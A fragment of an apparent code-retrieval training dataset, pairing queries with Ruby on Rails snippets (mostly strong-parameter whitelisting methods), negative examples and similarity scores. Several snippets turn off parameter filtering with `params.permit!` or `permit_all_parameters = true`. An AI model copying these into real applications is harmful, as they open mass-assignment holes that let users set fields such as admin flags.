params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def valid_params_request?; end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def url_whitelist; end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981537", "0.67835593", "0.6748275", "0.67436063", "0.6736311", "0.65937173", "0.6503359", "0.6498499", "0.6482832", "0.6478776", "0.645703", "0.6439998", "0.63802195", "0.6377008", "0.6366287", "0.632018", "0.63016284", "0.63011277", "0.62932974", "0.62919617", "0.62905645", "0.6289235", "0.6283876", "0.62425834", "0.62410337", "0.6218672", "0.62151134", "0.62096137", "0.6192354", "0.6178057", "0.6177618", "0.61727077", "0.6162073", "0.6152049", "0.61515594", "0.61458135", "0.6122875", "0.61165285", "0.6107696", "0.6104097", "0.6091097", "0.6080201", "0.60699946", "0.6063739", "0.60206395", "0.60169303", "0.60134894", "0.601003", "0.6007347", "0.6007347", "0.6001054", "0.59997267", "0.5997844", "0.5991826", "0.5991213", "0.59911627", "0.5980111", "0.5967009", "0.59597385", "0.5958542", "0.595787", "0.5957425", "0.59522784", "0.5951228", "0.59423685", "0.5939385", "0.5939122", "0.5939122", "0.59325653", "0.5930178", "0.59248054", "0.59243476", "0.59164625", "0.59106", "0.59101933", "0.59084356", "0.5905666", "0.58975077", "0.58974737", "0.5895128", "0.58946574", "0.589308", "0.58916", "0.5885987", "0.58838505", "0.58792", "0.58723736", "0.58684355", "0.58677715", "0.5865701", "0.5865538", "0.5865288", "0.586385", "0.5862139", "0.58614355", "0.58593005", "0.5857459", "0.58541363", "0.58536613", "0.58520085", "0.585011" ]
0.0
-1
Set default values if nothing has input for max and backup student
def default_values self.max_student ||= 0 self.backup_student ||= 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_init\n self[:max] ||= DEFAULT_MAX #will set the default value only if it's nil\n self[:current] ||= DEFAULT_ZERO\n self[:percentage] ||= DEFAULT_ZERO\n end", "def set_defaults\n self.current_score ||= 0\n self.highest_score ||= 0\n self.total_correct ||= 0\n self.total_worth_credit ||= 0\n end", "def default_values\n self.avg_rating ||= -1\n end", "def set_default_values\n self.base_exp ||= 0\n self.time_bonus_exp ||= 0\n end", "def set_default_values\n self.base_exp ||= 0\n self.time_bonus_exp ||= 0\n end", "def set_default_values\n self.base_exp ||= 0\n self.time_bonus_exp ||= 0\n self.extra_bonus_exp ||= 0\n end", "def set_default_values\n if self.price.nil?\n self.price = 0.0\n end\n if self.rating.nil?\n self.rating = 0\n end\n if self.enabled.nil?\n self.enabled = false\n end\n if self.no_of_reviews.nil?\n self.no_of_reviews = 0\n end\n if self.no_of_registrations.nil?\n self.no_of_registrations = 0\n end\n end", "def default_values\n \tself.total_worth ||= 0\n \tend", "def set_creation_defaults\n if self.max_days == 0\n self.max_days = nil\n self.end_date = nil\n else\n self.end_date = self.start_date + self.max_days\n end\n self.percent = 0\n end", "def set_defaults\n self.mmr ||= 1500\n self.k_value ||= 40\n self.home_mmr ||= self.mmr\n self.away_mmr ||= self.mmr\n self.active ||= true\n self.total_games ||= 0\n end", "def update!(**args)\n @default_value = args[:default_value] if args.key?(:default_value)\n @max_value = args[:max_value] if args.key?(:max_value)\n @min_value = args[:min_value] if args.key?(:min_value)\n end", "def update!(**args)\n @default_value = args[:default_value] if args.key?(:default_value)\n @max_value = args[:max_value] if args.key?(:max_value)\n @min_value = args[:min_value] if args.key?(:min_value)\n end", "def assign_defaults\n\t\t## WHICH OF OUR EMPLOYEES CAN RESIGN, BECOMES THE SAME AS WHO CAN VERIFY.\n\t\tself.which_of_our_employees_will_resign_outsourced_reports = self.who_can_verify_reports if self.which_of_our_employees_will_resign_outsourced_reports.blank?\n\tend", "def set_defaults\n self.balance ||= 0\n end", "def setDefault\n self.monthlyCost ||= 0.0 # will set the default value only if it's nil\n self.annualCost ||= 0.0\n end", "def default\n @default ||= highest\n end", "def default=(value); end", "def default_values\n rating = 0\n if user_id.nil?\n user_id = User.find(1)\n end\n end", "def set_defaults\n super\n self.seating_capacity ||= 0\n self.standing_capacity ||= 0\n self.wheelchair_capacity ||= 0\n end", "def update!(**args)\n @max_value = args[:max_value] if args.key?(:max_value)\n @min_value = args[:min_value] if args.key?(:min_value)\n end", "def set_max(max)\n self[:max] = (max > 0 ? max : 1)\n end", "def update!(**args)\n @max_value = args[:max_value] if args.key?(:max_value)\n @min_value = args[:min_value] if args.key?(:min_value)\n end", "def max=\n end", "def defaults\n self.leaver ||= 0\n end", "def create\n authorize Student\n student_params[:fines]=0\n @student = Student.new(student_params)\n @user = User.new({email:@student.email,password:@student.password,password_confirmation:@student.password})\n respond_to do |format|\n if @student.save\n if(@student[:education]==\"Masters\")\n @student.update({max_books:4})\n elsif (@student[:education]==\"PhD\")\n @student.update({max_books:6})\n else\n @student.update({max_books:2})\n end\n @user.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end", "def defaultHack\n #save only if i change something, so need this almost redundant if statement\n if(self.num_downvotes == nil || self.num_upvotes == nil || self.name == nil || self.name.blank? || self.num_downloads == nil)\n self.num_downvotes ||= 0\n self.num_upvotes ||= 0\n self.num_downloads ||=0\n self.name ||= \"???\"\n self.save\n end\n end", "def set_Maximum(value)\n set_input(\"Maximum\", value)\n end", "def default_values \n self.credited_date = Time.now\n self.leave_period_id = 0 if self.leave_period_id.nil?\n end", "def default_values\n self.unread_entries = 0 if self.unread_entries.blank? || self.unread_entries < 0\n end", "def default_values\n self.unread_entries = 0 if self.unread_entries.blank? || self.unread_entries < 0\n end", "def setup_defaults\n if @default.to_s.empty?\n @default = (0..choices.length).find { |i| !choices[i].disabled? } + 1\n end\n validate_defaults\n if default_choice = choices.find_by(:name, @default)\n @default = choices.index(default_choice) + 1\n end\n mark_choice_as_active\n end", "def default_values\n self.cash ||= 0.0\n end", "def set_defaults\n self.annual_inflation_rate ||= 1.1\n self.pcnt_residual_value ||= 0\n self.condition_rollup_weight ||= 0\n end", "def set_acumen(student)\n student.average.nil? ? @acumen_one = 0 : @acumen_one = (100 - student.average.acumen_one).round(2)\n student.average.nil? ? @acumen_two = 0 : @acumen_two = (100 - student.average.acumen_two).round(2)\n end", "def default_values\n\t\tself.status = 0 unless self.status\n\t\tself.tagged = 0 unless self.tagged\n\t\tself.searched = 0 unless self.searched\n\tend", "def default_values\n self.video_quality ||= %w[HD SD].sample\n self.price ||= (5.0...11.0)\n end", "def standardizeValue()\n minMax = []\n minMax = getMinMax(@skater_data,\"0\")\n zero(@skater_data,\"0\",minMax)\n minMax = getMinMax(@skater_data,\"1\")\n zero(@skater_data,\"1\",minMax)\n minMax = getMinMax(@goalie_data,\"G\")\n zero(@goalie_data,\"G\",minMax)\nend", "def set_defaults\n self.min_service_life_months ||= 0\n self.replacement_cost ||= 0\n self.lease_length_months ||= 0\n self.rehabilitation_service_month ||= 0\n self.rehabilitation_labor_cost ||= 0\n self.rehabilitation_parts_cost ||= 0\n self.extended_service_life_months ||= 0\n self.min_used_purchase_service_life_months ||= 0\n self.cost_fy_year ||= current_planning_year_year\n end", "def preset_default_values( params_hash = {} )\n unless self.firm\n begin\n default_firm_id = params_hash[:firm_id] ||\n ( params_hash[:user_id] && LeUser.find(params_hash[:user_id].to_i).firm_id )\n self.firm_id = default_firm_id\n rescue\n self.firm_id = nil\n end\n end\n # Set default date for this entry:\n self.date_last_met = Time.now unless self.date_last_met\n self\n end", "def set_default\n end", "def set_default_values\n self.points_log ||= POINTS_LOG\n self.points_log_first_of_day ||= POINTS_LOG_FIRST_OF_DAY\n self.points_peer_assessment ||= POINTS_PEER_ASSESSMENT\n self.points_peer_assessment_first_of_team ||= POINTS_PEER_ASSESSMENT_FIRST_OF_TEAM\n self.points_project_evaluation ||= POINTS_PROJECT_EVALUATION\n self.points_project_evaluation_first_of_team ||= POINTS_PROJECT_EVALUATION_FIRST_OF_TEAM\n self.max_logs_per_day ||= MAX_LOGS_PER_DAY\n self.points_project_evaluation_submitted_first_day ||= POINTS_PROJECT_EVALUATION_SUBMITTED_FIRST_DAY\n self.points_peer_assessment_submitted_first_day ||= POINTS_PEER_ASSESSMENT_SUBMITTED_FIRST_DAY\n self.marking_algorithm_id ||= MARKING_ALGORITHM_ID\n end", "def preset_default_values( params_hash = {} )\n unless self.patient # Set current patient only if not set\n begin\n if params_hash[:patient_id]\n self.patient_id = params_hash[:patient_id].to_i\n end\n rescue\n self.patient_id = nil\n end\n end\n # If patient is set and price not, get the default price:\n unless self.receipt_description\n if (self.patient_id.to_i > 0) && (p = Patient.find(self.patient_id))\n self.price = p.default_invoice_price unless (self.price.to_f > 0.0)\n self.receipt_description = p.default_invoice_text if self.receipt_description.blank? && (! p.default_invoice_text.blank?)\n end\n # Set the default description if not yet set:\n self.receipt_description = Receipt.get_default_receipt_description(self) unless self.receipt_description\n end\n\n unless self.date_receipt # A default date_receipt must be set anyhow:\n begin \n self.date_receipt = params_hash[:date_receipt] ? params_hash[:date_receipt] : Time.now\n rescue # Set default date for this entry:\n self.date_receipt = Time.now\n end\n end\n\n self.receipt_num = Receipt.get_next_receipt_num() unless (self.receipt_num > 0)\n self.is_receipt_delivered ||= 0\n # [Steve, 20100915] Known issue: we cannot set automatically or directly the \"is_payed\" flag (for instance,\n # reading the corresponding flag on any issuing appointment row) since this acts as a global \"is_payed\" status\n # for the whole due amount and - also - there may be more than 1 appointment rows linked to this receipt\n # (and the patient could be paying just a partial sum on each appointment).\n # So this needs to be cleared on start, until the whole receipt has been effectively \"payed\" (the user toggles it).\n self.is_payed ||= 0\n self\n end", "def set_default_values\n self.eligibility_counter = 0\n self.posts_count = 0\n end", "def set_defaults\n # should set the default based on category\n if self.fta_asset_category.try(:name) == 'Facilities'\n self.useful_life_benchmark ||= 3\n self.useful_life_benchmark_unit ||= 'condition_rating'\n elsif self.fta_asset_category.try(:name) != 'Infrastructure'\n self.useful_life_benchmark ||= self.asset_level.try(:default_useful_life_benchmark)\n self.useful_life_benchmark_unit ||= self.asset_level.try(:useful_life_benchmark_unit)\n end\n\n self.useful_life_benchmark_locked = self.useful_life_benchmark_locked.nil? ? false : self.useful_life_benchmark_locked\n\n if self.fta_asset_category.try(:name) == 'Infrastructure'\n self.pcnt_goal ||= 10\n else\n self.pcnt_goal ||= 0\n end\n\n self.pcnt_goal_locked = self.pcnt_goal_locked.nil? ? false : self.pcnt_goal_locked\n\n end", "def initialize(initial_value, max_value, reverse = false)\n @max_value = max_value\n @reverse = reverse\n @value = bump_value(initial_value)\n end", "def check_new_max(product)\n if product > @max\n @max = product\n end \nend", "def default_values\n self.weight ||= 10.0\n end", "def default_value(val); @next_default_value = val; end", "def default_value(val); @next_default_value = val; end", "def set_default( df_int )\n if IntegerOption.default_ok?( df_int, @min, @max )\n @df_int = df_int\n else\n @df_int = nil\n raise \"invalid default integer value: #{ df_int.to_s }\"\n end\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @min = args[:min] if args.key?(:min)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def set_Max(value)\n set_input(\"Max\", value)\n end", "def default_value=(value)\n\t\t@default_value = value\n\tend", "def default_values\n self.tramito = 'Lic. Hector Hernandez Rolon' unless self.tramito\n self.autorizo = 'Dr. Salvador Becerra Rodriguez' unless self.autorizo\n end", "def initialize(default)\n @value = @default = default\n end", "def default_value(value); value; end", "def set_defaults\n super\n self.extended_useful_life_months ||= 0\n self.extended_useful_life_miles ||= 0\n end", "def default_values\n self.status = QUALIFICATION_GRADE_STATUS_UNCONFIRMED if !self.status.present?\n end", "def find_max\n\t# Use method: stu_max = @students_list.max_by{|x| x.avg}\n\t max =0\n\t for i in 0..(@students_list.length-1) \n\t\tif @students_list[i].avg > max\n\t\t max = @students_list[i].avg\n\t\t stu_max = @students_list[i]\n\t\tend\n\t end\n\t puts \"Student who has max avg\".center(30)\n\t puts \"Name: #{stu_max.name}\".rjust(20)\n\t puts \"Birthday: #{stu_max.birthday}\".rjust(20)\n\t puts \"Math: #{stu_max.math}\".rjust(20)\n\t puts \"Literature: #{stu_max.liter}\".rjust(20)\n\t puts \"English: #{stu_max.eng}\".rjust(20)\n\t puts \"AVG: #{stu_max.avg}\".rjust(20)\n\tend", "def set_default_params\n self.difficulty = 0\n self.result = \"active\"\n self.board_size = 3\n end", "def preset_default_values( params_hash = {} )\n # XXX AmbGest 1.10 does not have a Firm entity:\n# unless self.firm\n# begin\n# if self.user_id and (default_firm_id = LeUser.find(self.user_id).firm_id)\n# self.firm_id = default_firm_id\n# end\n# rescue\n# self.firm_id = nil\n# end\n# end\n # Set default date for this entry:\n# self.date_last_met = Time.now unless self.date_last_met\n self\n end", "def set_default\n (!default || value?) ? self : add_value(default)\n end", "def add_default_values\n ensure_license\n ensure_publisher\n ensure_resource_type\n end", "def set_defaults\n self.rate ||= 0\n end", "def default!\n @value = default\n end", "def preset_default_values( params_hash = {} )\n unless self.patient # Set current patient only if not set\n begin\n if params_hash[:patient_id]\n self.patient_id = params_hash[:patient_id].to_i\n end\n rescue\n self.patient_id = nil\n end\n end\n\n unless self.date_schedule # A default date schedule must be set anyhow:\n begin \n self.date_schedule = params_hash[:date_schedule] ? params_hash[:date_schedule] : Time.now\n rescue # Set default date for this entry:\n self.date_schedule = Time.now\n end\n end\n self\n end", "def update!(**args)\n @max_value = args[:max_value] if args.key?(:max_value)\n @min_value = args[:min_value] if args.key?(:min_value)\n @original_mean = args[:original_mean] if args.key?(:original_mean)\n @original_stddev = args[:original_stddev] if args.key?(:original_stddev)\n end", "def test_set_defaults05b\n assert_raise ( RuntimeError ) {\n ArgumentManager.set_defaults(\n {\n :max => -10\n }\n )\n } \n end", "def set_defaults\n if self.has_attribute?(:extra_cost)\n self.extra_cost ||= 0.0\n end\n if self.has_attribute?(:stock)\n self.stock ||= 0.0\n end\n end", "def default_value \n self[:value] ||= {}\n self[:value][:default_value] ||= []\n self[:value][:default_value].delete('-1')\n self[:value][:default_value]\n end", "def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end", "def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end", "def set_defaults\n if self.state.blank?\n self.state ||= :unsubmitted\n end\n if self.priority.blank?\n self.priority ||= :medium\n end\n if self.start.blank?\n self.start = Time.now + 1.day\n end\n if self.end.blank?\n self.end = start.to_time + 1.hour\n end\n if self.repeats.blank?\n end\n end", "def default_students\n\nstudents = [\n {name: \"Dr. Hannibal Lecter\",cohort: :november, hobby: :sport, weight: 87, age: 64},\n {name: \"Darth Vader\", cohort: :november, hobby: :reading, weight: 87, age: 53},\n {name: \"Nurse Ratched\", cohort: :november, hobby: :music, weight: 100, age: 42},\n {name: \"Michael Corleone\", cohort: :november, hobby: :coding, weight: 68, age: 24},\n {name: \"Alex DeLarge\", cohort: :november, hobby: :coding, weight: 130, age: 28},\n {name: \"The Wicked Witch of the West\", cohort: :november ,hobby: :gaming, weight: 120, age: 43},\n {name: \"Terminator\", cohort: :november, hobby: :music, weight: 72, age: 34},\n {name: \"Freddy Krueger\", cohort: :november, hobby: :reading, weight: 55, age: 18},\n {name: \"The Joker\", cohort: :november, hobby: :sport, weight: 30, age: 45},\n {name: \"Joffrey Baratheon\", cohort: :november, hobby: :music, weight: 70, age: 30},\n {name: \"Norman Bates\", cohort: :november, hobby: :music, weight: 80, age: 25}\n]\nend", "def leave_default_initialization!(retval, resource, value)\n return unless resource.class.is_protectable?\n if Thread.current[:initializing_default_values]\n Thread.current[:initializing_default_values] = false\n end\n end", "def default_values\n \t self.status ||= '0'\n \tend", "def default_value\n if @default_value\n @default_value\n elsif @multiple\n []\n end\n end", "def set_default_values_skill\n self.badge ||= Placeholder.image_generator(height: 250, width: 250) # self.=> is similar to 'this' keyword. referencing this specific skill.\n #if main_image is nil put my default value else put users inputted image value\n #setting default values for images\n end", "def setup_defaults\n validate_defaults\n @selected = @choices.values_at(*@default.map { |d| d - 1 })\n @active = @default.last unless @selected.empty?\n end", "def update!(**args)\n @max_value = args[:max_value] if args.key?(:max_value)\n @min_value = args[:min_value] if args.key?(:min_value)\n @statistic = args[:statistic] if args.key?(:statistic)\n @strict_max_enabled = args[:strict_max_enabled] if args.key?(:strict_max_enabled)\n @strict_min_enabled = args[:strict_min_enabled] if args.key?(:strict_min_enabled)\n end", "def set_defaults\n self.availability ||=false\n self.email ||= @profile.user.email\n end", "def update!(**args)\n @max = args[:max] if args.key?(:max)\n @mean = args[:mean] if args.key?(:mean)\n @min = args[:min] if args.key?(:min)\n end", "def default_values\n\t\tself.status = 0\n\tend", "def defaults; end" ]
[ "0.6815649", "0.65635794", "0.6395689", "0.61816514", "0.61816514", "0.6142738", "0.6057108", "0.6021825", "0.6011223", "0.5986865", "0.595286", "0.595286", "0.5946054", "0.591463", "0.5899782", "0.58350366", "0.58257866", "0.57821053", "0.5771473", "0.57642305", "0.5763239", "0.57620215", "0.5752578", "0.57513547", "0.5719214", "0.5717409", "0.5708223", "0.5704613", "0.570142", "0.570142", "0.569784", "0.5697232", "0.5679972", "0.56751734", "0.56722546", "0.5665377", "0.56605834", "0.5659852", "0.5652884", "0.5641188", "0.5634847", "0.56297207", "0.5625799", "0.5615137", "0.5607509", "0.56017065", "0.5598915", "0.5595233", "0.5595233", "0.5589391", "0.55856156", "0.55856156", "0.55856156", "0.55856156", "0.55856156", "0.55856156", "0.55856156", "0.5584946", "0.5584946", "0.55815566", "0.55815566", "0.55815566", "0.55815566", "0.55815566", "0.55815566", "0.55815566", "0.55815566", "0.55815566", "0.55737567", "0.5559275", "0.555562", "0.5540274", "0.55245733", "0.5521937", "0.55176216", "0.5516122", "0.5514045", "0.55136937", "0.55057967", "0.54947084", "0.54941165", "0.54796433", "0.5473346", "0.5472656", "0.54669315", "0.54560333", "0.54556143", "0.54556143", "0.5452814", "0.5437959", "0.5437451", "0.54129654", "0.5410607", "0.54105955", "0.5404806", "0.5404126", "0.5401884", "0.54005265", "0.5399593", "0.53944427" ]
0.83218783
0
show how many seats available, show full if left 0
def seats_available available = total_student - UserEvent.joined_students_count(self.id) if available > 0 available else "FULL" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
